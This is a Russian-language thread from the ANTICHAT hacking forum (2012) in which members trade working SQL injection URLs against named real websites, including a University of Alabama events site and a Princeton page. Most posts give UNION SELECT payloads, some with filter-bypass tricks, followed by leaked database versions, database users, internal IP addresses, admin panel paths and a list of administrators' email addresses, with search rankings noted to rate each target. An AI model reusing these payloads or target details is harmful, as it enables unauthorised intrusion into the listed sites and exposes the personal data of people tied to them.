HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 20.03.2012, 14:29
StaD
Guest
Сообщений: n/a
Провел на форуме:
1062

Репутация: 0
По умолчанию

Код:
Code:
http://www.no-colours-records.de/sites/show_rel.php?id=-1+union+select+1,2,column_name,4,5+from+INFORMATION_SCHEMA.COLUMNS+limit+0,1--
Выводится только одна запись, отчёта об ошибках нет
 
Ответить с цитированием

  #2  
Старый 20.03.2012, 16:38
Unknown
Guest
Сообщений: n/a
Провел на форуме:
129743

Репутация: 92
По умолчанию

Код:
Code:
www.ginnystineinteriors.com/designers_detail.php?staff_id=-1+union+select+1,2,3,4,5,6,7,concat_ws(0x3a,version(),database(),user()),9--+
version: 5.0.91-log

database: fishleg_ginnys

user: fishleg_27@209.68.2.171

Код:
Code:
www.wardblakearchitects.com/staff_content.php?staff_id=-1+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6--+
version: 5.0.95-community

database: architectural_wb

user: architectural_us@localhost

PR: 3/10

admin pages: manager, cpanel

Код:
Code:
www.jewishchronicle.org/contact/contact.php?staff_id=-1+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user()),6,7,8,9,10,11,12,13,14,15,16,17,18,19--+
version: 5.0.77-log

database: 577301_jewishchron

user: 577301_jcadmin@172.17.2.118

PR: 4/10
 
Ответить с цитированием

  #3  
Старый 20.03.2012, 19:25
Megwarez
Новичок
Регистрация: 07.05.2010
Сообщений: 6
Провел на форуме:
146697

Репутация: 0
Отправить сообщение для Megwarez с помощью ICQ
По умолчанию

вкспорт

Код:
Code:
http://www.vksport.ru/catalog_s1.php?id=-1%27+union+select+1,2,3,4,group_concat%280x0b,column_name%29,6+from+information_schema.columns+where+table_name={не смог подобрать}+--+
ТИЦ:10

PR:1
 
Ответить с цитированием

  #4  
Старый 21.03.2012, 23:17
Га-Ноцри
Guest
Сообщений: n/a
Провел на форуме:
103014

Репутация: 76
По умолчанию

ТИЦ = 20

PR = 4

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//www.jic.org/index.php?page=9999999'+union+select+1,File_priv,2+from+mysql.user--+[/COLOR][/COLOR] 
 
Ответить с цитированием

  #5  
Старый 22.03.2012, 15:31
smirk
Guest
Сообщений: n/a
Провел на форуме:
45774

Репутация: 26
По умолчанию

pr2

Код:
Code:
http://www.instintocigano.com.br/artigos-de-baralho-cigano.php?id=-117+uNion+SELselectECT+1,2,3,0x6861636B6564206279207375727072697A2E,concat_ws(0x3a,user(),version(),%20%20database()),6,7,8,9+--+
обход preg_replace
 
Ответить с цитированием

  #6  
Старый 22.03.2012, 18:35
Megwarez
Новичок
Регистрация: 07.05.2010
Сообщений: 6
Провел на форуме:
146697

Репутация: 0
Отправить сообщение для Megwarez с помощью ICQ
По умолчанию

Код:
Code:
http://www.nunhems.com.ua/kultury.php?id=-1+union+select+1,2,3,4,5,6,7,8,group_concat%280x0b,table_name%29,10,11,12,13,14,15,16,17,18,19,20,21,22,23+from+information_schema.tables+--+


ТИЦ: 30

PR: 4


Все норм выводится, но в админку не зайти, видимо фильтр по ip.
 
Ответить с цитированием

  #7  
Старый 22.03.2012, 22:14
Га-Ноцри
Guest
Сообщений: n/a
Провел на форуме:
103014

Репутация: 76
По умолчанию

PR = 5

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//www.bedandbreakfastdc.com/index.php?id=-1+union+select+concat_ws(0x03a,user(),database(),version())--[/COLOR][/COLOR] 
 
Ответить с цитированием

  #8  
Старый 23.03.2012, 14:46
aydin-ka
Новичок
Регистрация: 03.05.2009
Сообщений: 7
Провел на форуме:
102906

Репутация: -14
По умолчанию

The University of Alabama

тИЦ 275 PR 7 Alexa Rank 25,466

Вывод в теге

Код:
Code:
http://events.ua.edu/events/index.php?cat=9999999999+union+select+@@version--
Version - 5.0.27

User -ua_calendar@helios.ua.edu

Database - ua_calendar

Код:
Code:
http://events.ua.edu/events/index.php?cat=9999999999+union+select+group_concat%28Email%29+from+hc_admin--
PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"]mmuro[/COLOR][COLOR="#007700"]@[/COLOR][COLOR="#0000BB"]ur[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]ua[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]edu

rflorenc
[/COLOR][COLOR="#007700"]@as.[/COLOR][COLOR="#0000BB"]ua[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]edu

lmsandy
[/COLOR][COLOR="#007700"]@[/COLOR][COLOR="#0000BB"]ur[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]ua[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]edu

arainey
[/COLOR][COLOR="#007700"]@[/COLOR][COLOR="#0000BB"]ur[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]ua[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]edu

etc
[/COLOR][COLOR="#007700"]...[/COLOR][/COLOR
Есть столбец Passwrd

Админка - _http://events.ua.edu/admin/
 
Ответить с цитированием

  #9  
Старый 25.03.2012, 03:04
gars0n
Постоянный
Регистрация: 09.12.2009
Сообщений: 502
Провел на форуме:
2073846

Репутация: 186


Отправить сообщение для gars0n с помощью ICQ
По умолчанию

PR - 2

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//www.kaizen-co.ru/gallery.php?id=9875465+union+select+1,char(104,97,99,107,101,100,32,98,121,32,100,117,109,98,97),concat_ws(0x3b,user(),version(),database()),4,5--[/COLOR][/COLOR] 
kaizen@zvm28.host.ru;4.0.27-log;kaizen
 
Ответить с цитированием

  #10  
Старый 25.03.2012, 09:59
tght
Guest
Сообщений: n/a
Провел на форуме:
45597

Репутация: 0
По умолчанию

PR - 4

Цитата:
Сообщение от None  
http://cwrowley.princeton
.edu
/getpaper.php?id=88-999.9+union+select+1,2,concat_ws(0x7C2A7C,version( ),user(),database()),4--
Version: 5.0.92-community

User: cwrowley_clancy@localhost

DB: cwrowley_main

тИЦ - 40, PR - 2

Цитата:
Сообщение от None  
http://www.forceavto.ru/catalog/show_prod.php?ID=615-999.9+union+select+1,2,3,concat_ws(0x7C2A7C,versio n(%20),user(),database()),5,6,7--
Version: 5.1.56-log

User: forceavt_mila2@localhost

DB: forceavt_force
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ